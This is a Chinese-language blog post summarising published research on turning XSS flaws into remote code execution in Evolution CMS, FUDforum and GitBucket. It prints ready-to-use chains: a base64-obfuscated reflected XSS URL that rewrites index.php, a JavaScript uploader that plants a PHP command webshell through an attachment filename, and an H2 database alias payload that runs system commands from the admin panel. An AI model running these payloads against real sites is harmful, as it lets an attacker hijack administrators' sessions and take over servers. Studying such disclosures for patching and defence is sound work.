XSS 也就是大家常说的跨站脚本攻击,利用该漏洞可以执行任意 JavaScript 脚本,RCE 也就是远程名称执行,可以执行任意系统命令。那么如何通过 XSS 漏洞升级到 RCE 漏洞呢?今天分享几个开源案例。原文:
https://swarm.ptsecurity.com/researching-open-source-apps-for-xss-to-rce-flaws/
案例名:Evolution CMS v3.1.8
项目地址:https://github.com/evolution-cms/evolution
在审计源代码时发现了一个对于用户控制的参数未进行编码和转义,这就是一个典型的反射 XSS 漏洞,文件路径:
manager/views/page/user_roles/permission.blade.php
接下来构造访问的 URL,插入验证 XSS 漏洞的 payload:
https://192.168.1.76/manager/?a=35&id=1%22%3E%3Cimg%20src=1%20onerror=alert(document.domain)%3E
不过不是任意权限都可以访问的,需要管理员权限,打开后可以看到执行了我们插入的弹窗 payload:
在 Evolution CMS 的后台,文件管理器部分可以上传文件,但是不能上传 php 的文件,但是,管理器可以编辑现有的文件,那么我们可以用 javascript 实现文件编辑的功能,修改 index.php 的内容为 phpinfo()
:
$.get('/manager/?a=31',function(d) {
let p = $(d).contents().find('input[name=\"path\"]').val();
$.ajax({
url:'/manager/index.php',
type:'POST',
contentType:'application/x-www-form-urlencoded',
data:'a=31&mode=save&path='+p+'/index.php&content=<?php phpinfo(); ?>'}
);
});
接下来,将 javascript 代码进行 base64 编码,插入到漏洞参数中:
https://192.168.1.76/manager/?a=35&id=1%22%3E%3Cimg%20src=1%20onerror=eval(atob(%27JC5nZXQoJy9tYW5hZ2VyLz9hPTMxJyxmdW5jdGlvbihkKXtsZXQgcCA9ICQoZCkuY29udGVudHMoKS5maW5kKCdpbnB1dFtuYW1lPSJwYXRoIl0nKS52YWwoKTskLmFqYXgoe3VybDonL21hbmFnZXIvaW5kZXgucGhwJyx0eXBlOidQT1NUJyxjb250ZW50VHlwZTonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyxkYXRhOidhPTMxJm1vZGU9c2F2ZSZwYXRoPScrcCsnL2luZGV4LnBocCZjb250ZW50PTw/cGhwIHBocGluZm8oKTsgPz4nfSk7fSk7%27))%3E
以管理员权限访问上面的 URL,就可以成功将首页的 index.php 内容修改:
项目名:FUDforum v3.1.1
项目地址:https://github.com/fudforum/FUDforum
FUDforum 是一个超快速且可扩展的论坛程序。高度可定制,并支持无限的成员、论坛、帖子、主题、投票和附件。
该程序中私人消息或者论坛主题的附件名中未对用户控制的参数进行处理,是一个存储型 XSS 漏洞,将上传后的文件名改为 <img src=1 onerror=alert()>.png
,然后下载该文件,就会触发 xss 执行:
FUDforum 管理面板有一个文件管理器,允许您将文件上传到服务器,包括带有 php 扩展名的文件,攻击者可以使用存储型 XSS 上传一个可以在服务器上执行任何命令的 php 文件。
FUDforum 有一个公开的漏洞:
https://packetstormsecurity.com/files/155261/FUDForum-3.0.9-Code-Execution-Cross-Site-Scripting.html
利用 javascript 代码上传 php 文件:
const action = '/adm/admbrowse.php';
function uploadShellWithCSRFToken(csrf) {
let cur = '/var/www/html/fudforum.loc';
let boundary = "-----------------------------347796892242263418523552968210";
let contentType = "application/x-php";
let fileName = 'shell.php';
let fileData = "<?=`$_GET[cmd]`?>";
let xhr = new XMLHttpRequest();
xhr.open('POST', action, true);
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary=" + boundary);
let body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="cur"\r\n\r\n';
body += cur + "\r\n";
body += "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="SQ"\r\n\r\n';
body += csrf + "\r\n";
body += "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="fname"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + contentType + "\r\n\r\n";
body += fileData + "\r\n\r\n";
body += "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="tmp_f_val"\r\n\r\n';
body += "1" + "\r\n";
body += "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="d_name"\r\n\r\n';
body += fileName + "\r\n";
body += "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="file_upload"\r\n\r\n';
body += "Upload File" + '\r\n';
body += "--" + boundary + "--";
xhr.send(body);
}
let req = new XMLHttpRequest();
req.onreadystatechange = function() {
if (req.readyState == 4 && req.status == 200) {
let response = req.response;
uploadShellWithCSRFToken(response.querySelector('input[name=SQ]').value);
}
}
req.open("GET", action, true);
req.responseType = "document";
req.send();
攻击者可以给自己发一条私人消息,并将上面 payload 作为附件名,消息发送给自己后,可以获得服务器上存在 xss 漏洞的路径:
index.php?t=getfile&id=7&private=1
接下来就是构造一个新的 payload,用于触发文件上传的 payload:
$.get('index.php?t=getfile&id=7&&private=1',function(d){eval(d)})
将上面的 payload 经过 base64 编码后,保存为下面的文件名:
<img src=1 onerror=eval(atob('JC5nZXQoJ2luZGV4LnBocD90PWdldGZpbGUmaWQ9NyYmcHJpdmF0ZT0xJyxmdW5jdGlvbihkKXtldmFsKGQpfSk='))>.png
管理员在读取攻击者发送的私信和附件后,会以管理员身份在服务器上创建一个名为 shell.php 的文件,可以使用这个后门执行任意命令:
项目名:GitBucket v4.37.1
项目地址:https://github.com/gitbucket/gitbucket
GitBucket 是一个基于 Scala 的 Git 平台,具有易于安装、高扩展性和 GitHub API 兼容性。在 GitBucket 中,发现在主页和攻击者的个人资料页面(/hacker?tab=activity
)上未转义显示用户控制的 issue 名称,这导致存储型XSS:
有了 xss 漏洞,接下来寻找可以执行系统名称的功能,管理控制面板有执行 SQL 查询的工具,GitBucket 默认使用 H2 数据库引擎:
https://www.h2database.com/html/main.html
对于这个数据库,存在一个公开可用的漏洞来实现远程代码执行:
https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed
攻击者可以基于这个漏洞创建一个 PoC 代码:
var url = "/admin/dbviewer/_query";
$.post(url, {query: 'CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");return s.hasNext() ? s.next() : ""; }$$;'
})
.done(function(data) {$.post(url, {query: "CALL EXECVE('touch HACKED')"})})
将该代码上传至存储库:
然后创建一个新的 issue 或者重命令旧的 issue:
Issue 1"><script src="/hacker/Repo1/raw/f85ebe5d6b979ca69411fa84749edead3eec8de0/exploit.js"></script>
当管理员访问攻击者的个人资料主页时,会触发 payload 执行在服务器上创建一个文件;
服务器上查看是否创建成功:
本文以实际的开源项目为例,演示了如何通过 xss 漏洞升级为命令执行漏洞,核心还是要依赖系统本身的功能或者所依赖的系统存在文件上传、命令执行等问题,否则无法直接通过 xss 漏洞实现命令执行。
通常应用系统的管理后台功能丰富,权限很高,包括了任意文件上传、修改,以及数据库操作、命令执行等能力,然后通过 xss 漏洞,让管理员访问后执行后台的功能,获得更高的权限,实战中,如果是开源系统,能够很好的分析并实现利用,如果是未知系统,那么很难了解后台的功能,也不是很好利用。